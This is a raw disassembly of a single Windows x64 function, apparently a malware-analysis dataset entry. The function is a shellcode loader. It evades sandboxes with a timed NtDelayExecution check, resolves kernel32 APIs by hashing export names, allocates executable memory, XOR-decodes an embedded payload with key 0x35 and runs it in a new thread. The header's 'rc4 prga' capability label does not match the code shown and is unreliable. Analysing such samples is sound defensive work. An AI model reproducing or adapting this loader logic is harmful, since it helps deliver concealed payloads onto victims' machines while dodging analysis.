Function at 0x140001633
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x650
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x5a8], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.NtDelayExecution
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov dword [rbp + 0x59c], 0x64
mov eax, dword [rbp + 0x59c]
imul eax, eax, 0xff676980
cdqe
mov qword [rbp + 0x530], rax
mov r8, qword [rbp + 0x5a0]
lea rax, [rbp + 0x530]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x590], rax
mov rax, qword [rbp + 0x590]
sub rax, qword [rbp + 0x5a8]
mov rdx, rax
mov eax, dword [rbp + 0x59c]
imul eax, eax, 0x3e8
cdqe
cmp rdx, rax
jae 0x140001700
mov eax, 0
jmp 0x140001ab1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov qword [rbp + 0x588], rax
mov rax, qword [rbp + 0x588]
mov qword [rbp + 0x580], rax
mov rax, qword [rbp + 0x580]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x588]
add rax, rdx
mov qword [rbp + 0x578], rax
mov rax, qword [rbp + 0x578]
add rax, 0x18
mov qword [rbp + 0x570], rax
mov rax, qword [rbp + 0x570]
mov eax, dword [rax + 0x70]
mov edx, eax
mov rax, qword [rbp + 0x588]
add rax, rdx
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x568]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x588]
add rax, rdx
mov qword [rbp + 0x560], rax
mov rax, qword [rbp + 0x568]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x588]
add rax, rdx
mov qword [rbp + 0x558], rax
mov rax, qword [rbp + 0x568]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x588]
add rax, rdx
mov qword [rbp + 0x550], rax
mov dword [rbp + 0x5b4], 0
jmp 0x14000192e
mov eax, dword [rbp + 0x5b4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x558]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x588]
add rax, rdx
mov qword [rbp + 0x538], rax
mov rax, qword [rbp + 0x538]
mov rcx, rax
call dbg.hash(char const*)
cmp eax, 0x80fa57e1
sete al
test al, al
je 0x140001869
mov rax, qword [rbp + 0x588]
mov edx, dword [rbp + 0x5b4]
movsxd rdx, edx
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x550]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x560]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x538]
mov rcx, rax
call dbg.hash(char const*)
cmp eax, 0xc7d73c9b
sete al
test al, al
je 0x1400018c8
mov rax, qword [rbp + 0x588]
mov edx, dword [rbp + 0x5b4]
movsxd rdx, edx
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x550]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x560]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov qword [rbp + 0x5c0], rax
mov rax, qword [rbp + 0x538]
mov rcx, rax
call dbg.hash(char const*)
cmp eax, 0x50c272c4
sete al
test al, al
je 0x140001927
mov rax, qword [rbp + 0x588]
mov edx, dword [rbp + 0x5b4]
movsxd rdx, edx
lea rcx, [rdx + rdx]
mov rdx, qword [rbp + 0x550]
add rdx, rcx
movzx edx, word [rdx]
movzx edx, dx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x560]
add rdx, rcx
mov edx, dword [rdx]
mov edx, edx
add rax, rdx
mov qword [rbp + 0x5b8], rax
add dword [rbp + 0x5b4], 1
mov rax, qword [rbp + 0x568]
mov eax, dword [rax + 0x18]
mov edx, dword [rbp + 0x5b4]
cmp edx, eax
jb 0x1400017db
lea rax, [rbp + 0x190]
lea rdx, str._f
mov ecx, 0x73
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x39
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov rax, qword [rbp + 0x5c8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1cc
mov ecx, 0
call rax
mov qword [rbp + 0x548], rax
mov rax, qword [rbp + 0x548]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x1cc
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov dword [rbp + 0x5b0], 0
jmp 0x140001a4c
mov eax, dword [rbp + 0x5b0]
add eax, eax
cdqe
lea rdx, [rbp + 0x190]
add rax, rdx
movzx edx, byte [rax]
mov eax, dword [rbp + 0x5b0]
movsxd rcx, eax
mov rax, qword [rbp + 0x548]
add rax, rcx
xor edx, 0x35
mov byte [rax], dl
add dword [rbp + 0x5b0], 1
cmp dword [rbp + 0x5b0], 0x1cb
jle 0x140001a16
mov rax, qword [rbp + 0x5c0]
mov rcx, qword [rbp + 0x548]
lea rdx, [rbp - 0x44]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x540], rax
mov r8, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x540]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov eax, 0
add rsp, 0x650
pop rsi
pop rdi
pop rbp
ret